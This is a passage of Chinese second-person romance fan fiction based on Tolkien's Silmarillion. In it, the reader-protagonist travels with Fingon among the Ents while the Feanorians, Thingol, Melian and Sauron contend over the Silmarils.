长久的沉默后换来的是一声叹息,他无法做到真的厌恶你,就像是迈兹洛斯嘴上说着痛恨你,甚至要诅咒你,但实际上他真的能够说到做到吗?显然是不可能的。 这场雨下了一整夜,直到临近早上的时候才停下,你醒来以后太阳也拨开云雾,灿烂的阳光照亮大地,你从睡袋里坐起来,旁边的火堆还在噼噼啪啪地燃烧着,一看就是芬巩不久前才加过一遍柴火。 你的视线从火堆转移到一旁的芬巩身上,他正靠着山洞的岩壁双手环胸闭目养神,你向他靠近几分,他肯定也已经察觉到了吧,在细微的动静在精灵听来是无比明显的,可他还是紧闭双眼。 还在装睡啊,你好笑地凑到他跟前,手指戳了一下他的脸颊,他这才有些无奈地睁开眼睛,没有生气的迹象,真的只是在无奈而已。 要说真不愧是精灵,哪怕熬了一夜他的脸上也没什么憔悴的神情,顶多就是发丝稍微凌乱了一点,但就这点凌乱程度和刚睡醒的你一比那也只是小巫见大巫,完全不够看。 你说:“终于醒了?我还以为你要一直装睡下去呢。” 芬巩说:“你从一开始就知道我在装睡了?” “我比你想象的还要了解你。”你说。 芬巩与你错开视线,他瞧了一眼山洞外的阳光,说:“雨停了。”言下之意就是你们可以继续出发了。 你说:“你不饿吗?” “我的意思是吃过早餐以后出发。”芬巩又补充道。 至于早餐也是他负责的,你走出山洞去附近的小溪旁洗漱,回来的时候顺便摘了一些红彤彤的浆果,根据你的经验这些浆果无毒可食用,唯一的缺点大概就是味道发挥很不稳定,可能上一颗浆果很甜,下一颗浆果就酸得你的脑壳都在嗡嗡响。 所以谁说这个世界没有比比多味豆的,这不就是天然的多味豆吗? 芬巩的运气不怎么样,吃了三颗,每一颗的味道都酸得他直皱眉,最后一颗更是重量级,他吃完以后沉默了好久,估计是真的说不出话来了,见状,你递给他一块软糖,他无声地接过以后含在嘴里没有马上咀嚼。 后面估计是终于缓过来了,他这才对你说了一声谢谢。 你说:“不用谢,看来你今天的运气真的不太好。” 芬巩问道:“你没有吃到酸的吗?” 你对芬巩眨眨眼,笑着说:“没有啊。” 然后芬巩就不由得开始思考自己今天的运气原来真的这么差吗? 吃过早餐,你和芬巩把东西收拾一下,背上行囊走出山洞,那两匹马还在溪边的草地上优哉游哉地吃草,芬巩说:“那就先别打扰它们,让它们好好休息一会。” 估计给芬巩当下属也很轻松吧,毕竟他都那么为自己的马匹着想,想必也很关心自己的下属。 你说好吧,反正你也不是很着急赶路,在原地休息一会就休息一会吧。 但也不是所有人亦或是所有精灵都像你和芬巩那样悠闲的,毕竟在平静的表象下仍旧暗流涌动,在你和芬巩走后迈兹洛斯虽然有些不能适应,但还是强行将自己的重心转移到搜寻索伦的踪迹上,毕竟索伦带着那三颗精灵宝钻潜逃,只要一天不把精灵宝钻带回来,他们费诺里安就会受到誓言的折磨。 就在迈兹洛斯和其他费诺里安地毯式搜寻索伦的时候,后者已经摇身一变成为多瑞亚斯的座上宾,是的,他先是以安纳塔的身份要求参见辛葛王,在遭到多瑞亚斯灰精灵拒绝后便拿出精灵宝钻,那些个灰精灵见到这位不速之客手里的造物心头一惊,当即将这个消息通报给他们的陛下。 索伦向来擅长玩弄文字游戏,巧舌如簧的他与辛葛王见面后溢美之词不绝于耳,在他的恭维还有那三颗宝钻的作用下,辛葛王决定收留这位曾经为魔苟斯效力,但现如今已经“弃暗投明”的迈雅。 尽管辛葛允许安纳塔暂居多瑞亚斯,但他的王后美丽安却看到了他的到来即将为多瑞亚斯到来的风波,她在某个夜晚找到锻造室的辛葛,可当她来到屋内就发现了视线都被宝钻吸引的辛葛。 “我要将这三颗宝钻镶嵌在我的王冠上。”辛葛说。 “你的心智已经受到了影响,不祥的阴翳即将笼罩着你。”美丽安说。 辛葛这才抬起头,宝钻的光辉落在他的侧脸,让他的神情都显得晦暗不明,他说:“不,这精灵宝钻本就该是那些费诺里安的赔礼,他们已经对泰勒瑞精灵犯下不可饶恕的罪行,这就是他们的赔偿。” 这也是索伦献上这三颗精灵宝钻时所说的,他说:“诺多精灵杀害了那么多泰勒瑞精灵,这是他们理所应当付出的代价,您身为泰勒瑞的君主,这是您的所有物。” “这是索伦的计谋,他料定了你会对宝钻爱不释手,借此引起精灵内部的斗争,如此一来他便能渔翁得利。” 辛葛不再言语,并不是因为他已经被王后美丽安说服,而是他的心神又一次被宝钻吸引。 未来的灾厄已经出现在美丽安的脑海里。《 》 55-60 第51章 “我和他在私奔啊!” 眼看辛葛全然没把自己的劝说放在心上, 美丽安便又找到了索伦,尽管他再三表示自己已经弃暗投明,可美丽安深知他那份藏在内心深处的恶意。 “您找我有什么事吗?”索伦看似毕恭毕敬,实则在暗中观察美丽安的表情变化,以此来推测她接下来会说些什么。 无非就是提醒自己不要做危害多瑞亚斯,甚至是危害精灵的事情,倘若她真的把话放在明面上那么说,那他自然也会表示明白,只不过面上表示明白和他实际的所作所为完全是两回事。 美丽安说:“你正在将灾厄的阴影带到多瑞亚斯,你看似是为了表示自己的诚意才送上的精灵宝钻,可要是费诺里安知道宝钻在这里,他们又会如何反应?” 索伦似笑非笑哒,“我当初也没有考虑到这一点。” 是真的没有考虑到这一点吗?还是已经想到了这一方面而特意为之的呢?对此美丽安更倾向于后者, 她说:“多瑞亚斯不欢迎你。” “是么,但辛葛王陛下已经准许我在这里留下了。” “是暂留。” “好吧, 那就是暂留,那我也有留在这里的资格。” 美丽安无法阻止命运前进的步伐,到最后精灵宝钻在多瑞亚斯的消息还是传到了费诺里安的耳朵里, 第一个听到消息的精灵是凯勒巩, 他本身就是个暴脾气, 当即表示要去多瑞亚斯,库茹芬说:“你疯了吗?辛葛本来就不欢迎我们去多瑞亚斯, 而且现在还是要从多瑞亚斯取走一些东西。” 凯勒巩没好气地说:“我看你才是疯了,那本身就是我们的东西,是父亲留给我们的,他有什么资格留下?” 卡兰希尔也很赞同凯勒巩的看法, 在他看来辛葛只是趁虚而入从在逃的索伦手里拿走了那三颗精灵宝钻, 他们接下来要做的不过是物归原主而已。 眼看弟弟们吵得不可开交,玛格洛尔就说:“你们都给我安静一点。” 凯勒巩看了一眼玛格洛尔,还有很多话想说的他硬生生地把话给憋了回去,但眼神里还是充满了不服气,接着玛格洛尔又对迈兹洛斯说:“这件事情你有什么别的想法吗?” 迈兹洛斯说:“我倒不觉得辛葛这是趁虚而入,应该说是索伦有意将精灵宝钻献给辛葛以此来激化精灵内部的矛盾,他没有魔苟斯那样强大的实力,无法直接制造冲突,但他擅长打心理战术,恰好利用我们与多瑞亚斯精灵之间本身就存在的问题。” 周围的费诺里安都在认真听迈兹洛斯说话,经过分析,他们也更认可迈兹洛斯的说法,认为这一切都是索伦有意为之的。 “所以绝对不能和多瑞亚斯的精灵产生冲突,我们要以更加和平的方式拿回宝钻。”玛格洛尔总结道。 只不过,他所说的和平的方式又能是什么呢?他们现在就连进入多瑞亚斯的资格都没有,无奈之下他们只能求助芬罗德,恳请他疏通关系,为他们争取进入多瑞亚斯的机会。 此时的芬罗德还没回纳国斯隆德,他仍在思考是否要去寻找你,在迈兹洛斯找过来的时候他也以为对方是要和他讨论你的事情,但是并没有,迈兹洛斯只是说:“我希望你能带着我们去多瑞亚斯。” 芬罗德皱起眉,“你们要去多瑞亚斯做什么?” 既然要请求对方帮忙,那自然是要将事情的来龙去脉和他说清楚的,因此迈兹洛斯将索伦的阴谋诡计娓娓道来,芬罗德听了以后没有太多表情变化,倒也不是完全置身事外,而是他隐隐有种预感,那份誓言已经开始折磨费诺里安了。 你看到被誓言折磨的迈兹洛斯会感到同情吗?芬罗德忽然那么想到。 可这个问题不会有答案,毕竟他现在都无法找到你。 在芬罗德保持沉默的时候迈兹洛斯还在注视着他,等待着他的回答,又过了一会,芬罗德才说:“我可以帮你说几句话,但是我不能保证他一定会同意你们进入多瑞亚斯。” 芬罗德帮助迈兹洛斯一部分是出于同族之间的同情,另外一部分原因则是觉得如果换做是你估计也不会眼睁睁地看着他被折磨,他只不过是不想日后看到你伤心而已。 迈兹洛斯郑重地向芬罗德道谢,但芬罗德却摇摇头,说:“你没必要感谢我,我那么做也是有原因的。” 尽管没有明说,但迈兹洛斯还是从他的字里行间读出他的另外一层意思,那就是他是因为你才答应他的请求的。 “不管怎么样,我都要谢谢你。”迈兹洛斯正色道。 芬罗德是个说到做到的精灵,既然他已经答应了迈兹洛斯帮助他们去往多瑞亚斯,没过多久他就给多瑞亚斯的妹妹加拉德瑞尔写了一封信,之所以没有直接给辛葛写信也是担心让他觉得自己的请求太刻意。 加拉德瑞尔收到兄长芬罗德的信件后眉头紧锁,老实说她不觉得那些费诺里安能够顺利地拿走这三颗精灵宝钻,因为辛葛已经打算将其镶嵌在他的王冠上,哪怕王后美丽安劝说也没有任何用处。 一旁的凯勒博恩看到加拉德瑞尔的神色就问:“你都收到了什么坏消息?” “一场战争就在不远处等待着他们。”加拉德瑞尔说,她能遇见那份未来,可是难以改变。 命运之所以是命运就在于其无法改变的注定性,加拉德瑞尔只能长叹一口气,然后对凯勒博恩说:“费诺里安知道了精灵宝钻在这里。” 凯勒博恩说:“但是辛葛陛下他……” “是的没错,辛葛陛下不会轻易放弃宝钻的。”辛葛在索伦的言语蛊惑下认为这就是诺多理应给泰勒瑞精灵的补偿,如今已经拿到手了,哪里还有再给出去的道理? 因此加拉德瑞尔和凯勒博恩交换一个眼神,他们之间的默契足以让他们在一个眼神的交流中就知道对方内心的想法。 他们想要阻止这一场斗争。 于是加拉德瑞尔先找到了王后美丽安,她们坐在花园里谈论此事,加拉德瑞尔说:“我想您应该也已经遇见到了吧,那笼罩在多瑞亚斯上空的阴翳。” 美丽安说:“你得知了什么消息吗?” “芬罗德给我写了信,说是希望我能够劝说辛葛陛下允许费诺里安进入多瑞亚斯,但您知道的,在天鹅港事件后他便对那些参与亲族残杀的诺多精灵心存怨恨,这份怨恨远不是我三言两语就能消除的。” 美丽安却告诉加拉德瑞尔一个可怕的真相,那就是哪怕费诺里安真的带走了宝钻,灾厄还是会伴随着宝钻发生。 加拉德瑞尔神情复杂,美丽安轻轻抚摸她的长发,“但我会尽可能劝说他的,请放心吧。” 就在大部分精灵都在担心未来发生的战争时,你还在和芬巩愉快地探索东方大陆中,准确来说可能只有你一个人很愉快,至于芬巩,总是一副说不上来的矛盾感,但你能明显感觉到他至少没有一开始那么排斥你了。 这也算是一大进步吧。 你的心里稍微有些欣慰。 大陆的最东面因为没有人类和精灵涉足,所以显得格外宁静,你们还在一大片的原始森林里遇见了树人,他们的嗓音低沉沙哑,说话语调缓慢堪比闪电,但对待你和芬巩的态度倒是很好。 “远道而来的人类与精灵。”树人说话已经不是大喘气了,而是说几个字就要顿一下,停顿的时间往往比他们说话的时间还要长,听得你恨不得按下快进键。 但芬巩表现得很有耐心。 “看来这位人类客人没有什么耐心。”一棵橡树那么说,你承认自己确实是个急脾气的人,但他们说话实在是太慢了。 “你们来到这里要做些什么?”一棵苹果树那么问道,声音听上去明显比橡树年轻一些。 你半开玩笑地说:“我和他在私奔啊!” 苹果树睁大眼睛,“噢……私奔。” 后面凑过来的果树问道:“她说了什么?” “她说,他们在私奔。”苹果树一一转告,当然也花了很多时间。 你急得都开始直跺脚了,反观芬巩还那么气定神闲,你忍不住问道:“你听着就不觉得着急吗?” 芬巩难得笑盈盈地回答:“有吗?我倒是觉得他们说话很有意思,而且你现在也很有意思。” 你重复一遍,“我刚才可是说我们在私奔啊。”按照常理来说他现在就应该反驳你的,但是没有,他似乎好像还默认了。 不是吧,这就被攻略了吗?你有些不相信,打开好感度面板一看,什么啊,他的好感度也没什么太大的变化,所以这真的只是你的错觉吗? 芬巩说:“我知道你只是在开玩笑的,而且他们应该也不怎么明白私奔的概念是什么。” 他说得有理有据,反而让你哑口无言。 你抿抿唇,说:“这么说来,你不反对我们私奔是吗?” 芬巩的眼睛不自然地眨了一下,移开视线,你知道自己扳回了一成,就笑了起来。 第52章 “这并非夺走,是物归原主。” 芬巩没有和你在这个问题上纠结太久, 毕竟他也能看出来你这是在开玩笑。 鲜少见到人类和精灵的树人对你们格外热情,果树和你们慷慨地分享自己的果实,就连上了年纪的树人也好奇地凑过来看热闹, 在这些树人看来人类和精灵的区别也不大, 尤其是在你和芬巩都是黑色长发的情况下, 他们就自然而然地认为人类和精灵是差不多的存在。 这一片都是树人的地盘,在他们表示欢迎以后就有不少野生动物也对你们表示友好, 精灵本身就点亮了自然亲和力,所以那些野生动物都更喜欢往他那边凑,你本来还在和树人闲聊的,结果回头一看就发现芬巩已经被好几窝野兔子包围了, 最后被兔子组成的海洋淹没。 看到这一幕你忍不住笑出声,芬巩艰难地从兔子海洋里挣扎着坐起来,虽然无奈,但还是动作轻柔地取下趴在头顶的灰扑扑野兔子,他一抬眼就和你对上视线,你说:“看来你格外受欢迎啊。” 芬巩说:“你还在幸灾乐祸。”话语里似乎还带着几分埋怨。 为了表示自己没有在看热闹,你走到芬巩身边,本来是想要帮他把那些野兔子拎开几只的,但是没成想那些野兔子也往你身上蹦跶,最后就变成了你们两个都被兔子包围。 这下子可就真是共患难了,芬巩在你耳边小声地说:“看, 他们也很喜欢你。” 这次换成他幸灾乐祸了。 最后还是树人们贴心地垂下树枝驱赶那些野兔子, 不过经历这一遭的你和芬巩样子或多或少都变得有些狼狈,你还算好一点, 芬巩那一头柔顺的黑发都变得乱糟糟的, 但他的眼睛却亮晶晶的。 你伸出手,芬巩料到了你要做什么,这一次他没有像以前那样回避似的躲开,而是微微垂下头,态度配合地任由你梳理他的长发。 芬巩的长发本就顺滑,梳理起来也不需要花费多少时间,等你收回手就要站起身的时候芬巩却突然叫住你,又说:“可是你的头发还有点乱。” 你又坐了回去,疑惑地“咦”了一声,说:“听你的意思是要给我梳头发吗?” 芬巩点点头,轻声细语地说:“也算是礼尚往来吧。” 唉,他还是那么喜欢和你算得清清楚楚,突然就让你有种挫败感,你还以为自己这么努力推进好感度怎么说都该有点成效了吧? 结果还是老样子。 你也不是没耐心的人,只是你现在稍微有点不耐烦而已,你说:“只是为了表示感谢吗?” 芬巩不太明白你还想要什么,他猜不出答案,于是他认真问道:“那你……还想要什么?” 你单手托腮,笑眯眯地,说:“嗯……这个嘛,算啦,你还是先给我梳头吧,我可不想顶着一个鸟窝头和你说话啊。” 旁边树枝上鸟窝里的鸟雀听到这话纷纷探出脑袋叽叽喳喳,仿佛在反驳什么。 “啊呀,我说的就是一个比喻而已,没有说你们的鸟窝不好的意思,你们的鸟窝造得都很漂亮。”你抬起头忙不叠地道歉,这才让这些愤愤不平的鸟雀安静下来。 芬巩好笑地说:“鸟雀可是很记仇的。” “所以我才马上道歉了。” 你当然知道鸟类很记仇,这个道理你上辈子就知道了。 芬巩替你梳理完头发,眼看天色也不早了,你们就决定在这片树林里过夜。 热情好客的树人还手动给你们做了两张吊床,而且还表示如果有需要的话可以提供摇篮服务,你和芬巩纷纷表示不用。 被拒绝的树人有些失落。 在来到这片树林之前的你和芬巩奔波了有一段时间,要说不累那肯定是假的,所以你基本上才钻进吊床里没多久就睡着了,反倒是芬巩还在和树人有一搭没一搭地聊天。 树人询问:“你不喜欢那个人类吗?” 芬巩奇怪道:“你们为什么这么说?” “因为你明明想要靠近她有的时候却会刻意避开她,这到底是喜欢还是讨厌?” 树人也是头一次接触人类和精灵,在好奇之余也对这两种生物不怎么了解,身为人类的你好像一直占据主导地位,至于那个精灵,表现出来的却是矛盾的一面。 芬巩注视着你熟睡的侧脸,他说:“我不讨厌她,可如果说是喜欢……这样的感情又怎么可能会在我们之间产生?” 你利用条件换来的他,这给你们的关系开了一个坏头,在那之后哪怕真的有喜欢,那份喜欢也会变成刺痛,他那过分高尚的道德感不允许这种事情发生。 树人不太明白芬巩和你之间的弯弯绕绕,他只是长叹一口气,“我很抱歉没办法帮助你。” 躺在吊床里的芬巩抬头仰望星空,他也看见了橡树层层叠叠的枝叶,他说:“不,你已经帮了我们很多了。” 芬巩最后伴着花香还有柔和的夜风睡去。 这一觉他睡得格外安稳,甚至于醒得比你还要晚,等他醒来的时候你已经架起锅炉在煮粥了,切碎的肉丁还有从河里捞上来的蛤蜊,熬出肉质的鲜味,最后再加上一把切得碎碎的野菜,这让粥的味道更加清新。 你听见背后的动静,就回过头一看,发现是芬巩醒来了,“你醒了?粥已经煮好了,快来尝尝吧!” 芬巩说:“抱歉,我睡过头了。” 你用勺子搅拌锅炉里的肉粥,好笑地说:“什么叫做睡过头了,你又没有别的事情要忙。” “你忘了吗?你现在正在和我游历中啊。”你一边说着,一边给芬巩盛了一碗肉粥,然后递给他,他对你低声道谢。 你和他就在晨光中安静地喝完肉粥,丝毫没有意识到在大陆的另外一边,一场风暴正在凝聚中,风暴的中心就是多瑞亚斯,此时此刻还算风平浪静,但也只是看起来而已,无论是加拉德瑞尔还是美丽安都知道风雨将来。 美丽安劝说辛葛允许费诺里安进入多瑞亚斯,可辛葛这阵子经常去往矮人的地盘,他委托了矮人帮忙加工这顶镶嵌着精灵宝钻的王冠,因为对王冠的着迷程度与日俱增,辛葛在矮人的地盘里待的时间也越来越久。 无奈之下的美丽安只能越过辛葛,让费诺里安来到多瑞亚斯。 因为有美丽安的允许,以迈兹洛斯为首的费诺里安得以顺利穿过美丽安环带而后到来多瑞亚斯的宫殿,那些灰精灵在见到迈兹洛斯的时候神色各异,有的还以为他们是来找麻烦的,甚至拉开弓箭,搭上箭矢就要和这群诺多精灵决一死战。 关键时刻还是王后美丽安及时出现,她说:“他们没有恶意。” 真的没有恶意吗?在听到王后那么说以后那些灰精灵的心里还是直犯嘀咕,可是,目前看来他们能够来到宫殿也是美丽安王后的意思,他们就没有多问。 站在最前面的迈兹洛斯对着美丽安微微俯身行礼,说:“多谢您的通融。” 美丽安点了点头,说:“你们需要再等待一会,因为目前辛葛不在这里。” 迈兹洛斯带着自己的弟弟来到休息室,途中还问起将这三颗精灵宝钻带来多瑞亚斯的索伦下落,美丽安说:“自从听说你们要来多瑞亚斯以后他就没有任何犹豫地离开了,我想,他本身没打算在这里久留。” “毕竟他的意图是挑拨离间。”玛格洛尔说。 来到休息室以后的迈兹洛斯又问辛葛去了哪里,起初美丽安只是叹息没有马上回答,后来才说:“他想要将那三颗宝钻镶嵌在他的王冠上,当初索伦献上它们的时候就说那是诺多精灵的赔礼,现如今他已经将其当做自己的所有物,为了最后打造出来的王冠符合他的所有要求,他便让矮人工匠帮忙打造。” 听到这里凯勒巩皱眉,没好气地说:“那他倒是相信矮人,就不担心矮人反过来将宝钻占为己有吗?” “正是因为担心,他这些天都待在矮人的领地里。” 玛格洛尔的神色凝重,这样下去真的不会出问题吗? 迈兹洛斯表示自己会去矮人那边和辛葛好好谈一谈的,美丽安问道:“现在吗?” “是的,事不宜迟。” 就像是命运的安排,在迈兹洛斯抵达矮人的领地没多久,就听见了工坊里传来的一阵骚乱,紧接着浑身鲜血淋漓的辛葛带着王冠从工坊里逃出,他嘴里大声呵斥周围的矮人,斥责他们也胆敢觊觎自己的宝钻。 他手里握着的宝剑为自己杀出一条血路,可是周围的矮人数量众多,而且矮人又擅长团队作战,他们配合默契,眼看着辛葛在重重包围下即将被杀死,迈兹洛斯杀入矮人的队伍。 矮人的阵型顿时被打乱,他们看着那几个突然出现的费诺里安,一时之间想不出来辛葛到底是什么时候通知了救兵。 辛葛透过血光窥见一旁的迈兹洛斯,以及陪伴在他身边浴血奋战的其他兄弟,他又将怀里的宝钻王冠收拢几分,说:“即便是你们也无法从我手里夺走它们。” 迈兹洛斯提剑越过矮人的尸体,说:“这并非夺走,是物归原主。” 第53章 “您对这首歌又有什么高见吗?” 闻言,辛葛却没有要将精灵宝钻交给迈兹洛斯的意思,尽管刚才是他将他从矮人的包围圈中解救出来,可辛葛也未曾改变自己的想法,他用手中的宝剑支撑着自己站起来,身体还有些歪斜。 在当下这个情况下,他似乎只有和迈兹洛斯握手言和的选择,否则他甚至都无法顺利逃出矮人的领地,于是辛葛深呼吸一口气,最后不情不愿地说:“那么如你所愿。” 说着,辛葛将原本藏在怀里的王冠送到迈兹洛斯的手里,镶嵌在上面的三颗精灵宝钻哪怕沾染了一些血污仍旧闪耀。 迈兹洛斯收下那顶王冠后旋即带着自己的兄弟护送辛葛离开这里,途中不乏有矮人的追击,但都被费诺里安挡下,就这样,迈兹洛斯顺利地将辛葛送回多瑞亚斯。 美丽安对今日精灵与矮人之间爆发的冲突早有预感,所以哪怕见到遍体鳞伤的辛葛也没有表现出太明显的惊讶,反而是用郑重的态度对以迈兹洛斯为首的费诺里安表示感谢。 因为重伤陷入昏迷的辛葛没能见到迈兹洛斯离开的画面,可对于精灵宝钻的执念还是深深地扎根于他的心底, 就如同当初索伦献上这份宝物时说的那样, 他发自内心地认为自己理应拥有这份巧夺天工的宝物。 只是在他醒来以后迈兹洛斯还有别的费诺里安已经离开,连带着宝物也跟着一块消失,辛葛阴郁地询问美丽安为什么没能留下那顶王冠, “我已经在它上面倾注了太多心血。” 美丽安用关切的,同时又是怜悯的眼神长久地注视着辛葛,她说:“拥有了它你只会拥有更多的痛苦。” 辛葛沉默不语, 后面的事情也证明他没有把美丽安说的话听进去, 因为日后当他的女儿露西恩爱上那个名叫贝伦时他提出的要求便是从费诺里安手里取回精灵宝钻。 原来的要求是全部取回来,后来在女儿的恳请下才将条件削减为一颗宝钻。 但这些都是未来才会发生的命运,就如此时的费诺里安也不会料到哪怕找回宝钻他们的誓言也不能解除,他们仍然被誓言折磨,甚至内部产生分歧,有的精灵认为其他兄弟想要独吞这份宝物。 最先察觉到这一点不祥迹象的精灵是玛格洛尔,他终于知道他们恐怕在无尽的生命里都要经受誓言折磨,便与迈兹洛斯商量对策。 “最近凯勒巩的性格越来越暴躁了,他对于宝钻封存在你这里感到不满,认为自己也占有一部分的所有权。”玛格洛尔说。 迈兹洛斯听得心不在焉,他的灵魂也在受到誓言的侵蚀,可表面上看起来没有那么明显,他的视线看向窗外。 “迈兹洛斯,你在听我说话吗?”玛格洛尔问道。 闻言,迈兹洛斯这才回过神来,他说:“我在听。” “那么你现在就应该好好考虑之后的对策了。” “我正在考虑。”迈兹洛斯说道,紧随其后的是一声叹息,浅浅的叹息,他说,“我们又什么时候真的被命运眷顾过呢?” 当初在安格班遇见你,他以为自己是被命运垂怜的,但后来你又伤透了他的心,现在呢,自以为已经完成了父亲的夙愿,可还是无济于事,他们究竟做成功了什么吗? 在那么迷茫的时候迈兹洛斯就想问问你,询问你对此又会是什么看法呢?既然你当初能够说服他重回冰原寻找自己的亲族,那么想必现在的你肯定也能做出明智的决定吧? 迈兹洛斯若有所思地说道:“要是苏尔在这里的话……你觉得她又会说些什么呢?” 玛格洛尔就知道他的哥哥陷入沉思肯定就是在想你,他对此也不觉得奇怪,他说:“她可能根本就不会在意这些事情吧。” 玛格洛尔有的时候比迈兹洛斯还要冷静理性,而且在做什么事情前也会做最坏的打算,而针对现在这种情况的最坏打算就是你对他们丝毫不关心。 听到弟弟那么说,迈兹洛斯本能地想要反驳,可他的嘴唇只是动了动,因为他也没什么底气,如今你毫不留恋地带着芬巩去其他地方游历了,真的会在乎他们这边发生的事情吗? 他们所经历的痛苦你真的能够感同身受吗? 迈兹洛斯突然之间就没什么信心了,他沉吟片刻,然后才缓缓地对玛格洛尔说:“……你说得对。” 玛格洛尔倒也不是想要打击自己的哥哥,他又尝试着补救,说:“但凡事都有例外,说不定……” 还没等玛格洛尔把话说完迈兹洛斯就取出空白的信纸拿起羽毛笔开始给你写信,这次换成玛格洛尔沉默了,他说:“所以你从刚才开始就已经想好要给苏尔写信了吗?” “刚刚吗?稍微有点摇摆不定吧。”迈兹洛斯低头写信,匀出一点心神回答玛格洛尔的问题。 等迈兹洛斯写完信已经是大半个小时以后的事情了,玛格洛尔看着他将信纸折叠放进信封里,然后封口,再找来信鸽将信件送出去。 做完这一系列事情的迈兹洛斯其实心里也还是稍微有点没底,他无法确定你是否能收到这封信,更无法确定你收到以后会不会回信,或许他应该给芬巩写信的,但是……他和芬巩的关系在你提出要带走后者以后就开始变得古怪。 如果他真的要给芬巩写信的话那又该怎么开头呢?询问他最近过得还好吗?可一旦这么问就不可避免地涉及到了你,毕竟这段时间他一直和你待在一块,然后他的问候就会变成某种质问,他原来的立场也从朋友之间的问候变成情敌的质询。 这也是迈兹洛斯感到犹豫不决的地方。 迈兹洛斯看向窗外,视线飘到远方,看向那遥远的月光和天边,那封信最后还是没能送到你的手上,因为信鸽途经索伦组建的临时据点不幸遇难,连带着那封信也被截获,索伦看着那封信,脸上不由地露出笑容。 看来现在的费诺里安内部也不安生,这反而给他提供了不少机会,那些精灵起内讧自相残杀是索伦最乐意见到的场面,他笑着说:“只可惜那个人类不会回应你的。” 在索伦地刻意封锁下,那些从迈兹洛斯疑惑是玛格洛尔手里寄出的信件统统没能送到你的手里,在他们看来这些信件就是石沉大海,他们愈发肯定你对他们不存在所谓的关心,你那所谓的喜欢也不过是转瞬即逝的东西。 一旦你的新鲜劲过去了,他们哪怕再怎么努力也无法获得你的关注。 终于,迈兹洛斯放弃给你写信,他对你充满怨恨,玛格洛尔看似平静,可对你的幽怨在某些夜深人静的时刻仍会啃噬他的内心。 凯勒巩不相信你会这么放弃他们,或者说是不甘心,他暗暗下定决心一定要找到你,他将领地内的事情交给弟弟库茹芬,自己单枪匹马地离开领地。 因为魔苟斯被打败,这片大陆恢复了久违的光明,人类也得以安居乐业,凯勒巩一路上经过许多个人类村庄,他对人类的态度算不上多好,尤其在听到那些人类之间还在传颂着纳国斯隆德的君主与人类的爱情故事时更是气得跳脚。 “什么爱情故事,都是胡编乱造的东西!”原本在村庄里借宿的凯勒巩听到这歌谣就气得浑身发抖。 抱着琴歌唱的吟游诗人也停住歌声,她说:“但那是在纳国斯隆德最广为流传的歌谣了。” 凯勒巩合理怀疑这就是芬罗德的阴谋,如果没有他的授意,这首歌的传唱度怎么可能这么高? 于是凯勒巩说:“我亲眼见过纳国斯隆德的君主,至于另外一个主角,他们只是普通的朋友关系而已,才没有歌谣里说的那么刻骨铭心的爱情。” 凯勒巩就像是专门跑来辟谣的,吟游诗人说:“但是,我听说是他和爱人一同发现了人类,而且还收留了那一群人类,举办学校,教会了人类很多东西。” 这些话在凯勒巩听来就是在夸奖芬罗德,更是在肯定芬罗德和你的感情,他一点也不能接受。 于是他说:“我不否认他收留人类的事情,但是,至于他们那所谓的可歌可泣的爱情故事,纯属虚构。” 周围还在听歌的村民忽然问:“你和纳国斯隆德那位君主之间存在什么矛盾吗?” 凯勒巩眼神扫了过去,他面无表情的样子确实让人感到恐惧,那个人类顿时噤声,但凯勒巩还是慢吞吞地回答:“我只是很了解他而已,然后还有,我看不惯这种胡编乱造的故事。” “其实我这边还有另外一个版本的歌谣,写的是希姆凛的精灵君主与人类的故事。” 村民们对精灵之间的那些弯弯绕绕没有太感兴趣,他们只是单纯来听吟游诗人唱歌解闷的,于是他们也对这首歌充满兴趣。 “快点唱吧!”“快唱呀!” 吟游诗人没有马上唱歌而是看了凯勒巩一眼,问道:“您对这首歌又有什么高见吗?” 第54章 “那我和你一起去浴室。” 凯勒巩听见吟游诗人这么说就知道对方是在有意调侃,他对这首歌的反应就没有之前对芬罗德和你的歌谣时那么反应激烈了,毕竟他也曾经将你和迈兹洛斯的相处看在眼里,也知道你们的关系确实亲密。 所以凯勒巩说:“你是唱歌的还是我是唱歌的,怎么这种事情也要问我?” 吟游诗人笑而不语, 像是已经看穿了凯勒巩内心的想法, 凯勒巩当即移开视线,皱眉离开这里。 他在这个村庄里只停留了一晚上, 第二天一早,阳光都还没有照耀大地他就骑在马背上离开,他还在寻找你。 一路上凯勒巩收集了不少关于你的信息,有真有假, 得要仔细甄别一番才能确定哪些是真的。 凯勒巩的耐心逐渐被消磨殆尽,他从一开始出发时的信心满满变得自我怀疑, 他真的能够找到你吗?还是说你已经不在这个世界上了呢?即使你非常特殊, 但归根结底你也是人类, 寿命或许也会像那些凯勒巩曾经遇见过的人类那样有限。 所以你才会长久地不回信,一旦沿着这样的思路开始思索,凯勒巩的内心就充满了对你的死亡的恐惧。 精灵如果死去灵魂还会回到曼督斯殿堂,也意味着日后还能在阿门洲相见,可人类呢?人类和精灵是不同的,他们的灵魂会去往何方不得而知,这也就代表了人类一旦死去精灵将永远无法与之见面。 凯勒巩觉得这实在是太不公平了, 对于被留下的精灵来说简直就是痛苦的折磨。 而在凯勒巩忧心忡忡担心你的生命安全时, 你还在大陆的最西面和迁移到这里来的人类共同生活,你之前就有过帮助人类搞基建的经验, 正所谓一回生二回熟, 你这回帮助人类驾轻就熟, 就连芬巩都感到些许惊讶。 你对芬巩说:“很惊讶吗?我以前也是这么和其他人类相处的。” 芬巩身为诺多精灵擅长建造,人类跟着他学习建造房屋,搭建桥梁,修筑河堤,人们将你们当做神明的使者,这称号听上去怪中二的,你都有点不好意思了。 从春天进入夏天以后的白天格外漫长,就连白天的余韵夕阳也很漫长,忙活了一天的人们纷纷踩着夕阳回去吃晚餐,你和芬巩没回去,坐在木桩上,干脆在这里一边看晚霞一边吃晚餐。 你看芬巩披散长发干活太麻烦就提议他把头发都扎起来,扎着高马尾的精灵侧影看上去还有些青涩,他身上没有穿着平日里华丽的精灵装束,而是很普通的打扮,他说:“再过半个月,这座桥应该就能修建完成了。” “你确定要在休息时间聊工作吗?”感觉好像还在加班啊。 芬巩笑着说抱歉,“那你想要说些什么呢?” 话语间他转过头,笑得温和,你用手帕擦去他额头上细密的汗水,他伸出手整理你的碎发,又听见你说:“我今天可是扭到腰了啊,很痛的。” “你怎么现在才说?”芬巩当即就要查看你的伤势,你也不躲,就是说待会晚上帮忙涂点药膏就行。 芬巩略带愧疚地说:“这件事我都没有第一时间发现。” 他已经越来越自然地认为自己应该关心你,甚至还会因为自己的疏忽心存愧疚。 “不要责怪自己啊,你现在不也是在关心我吗?”你说。 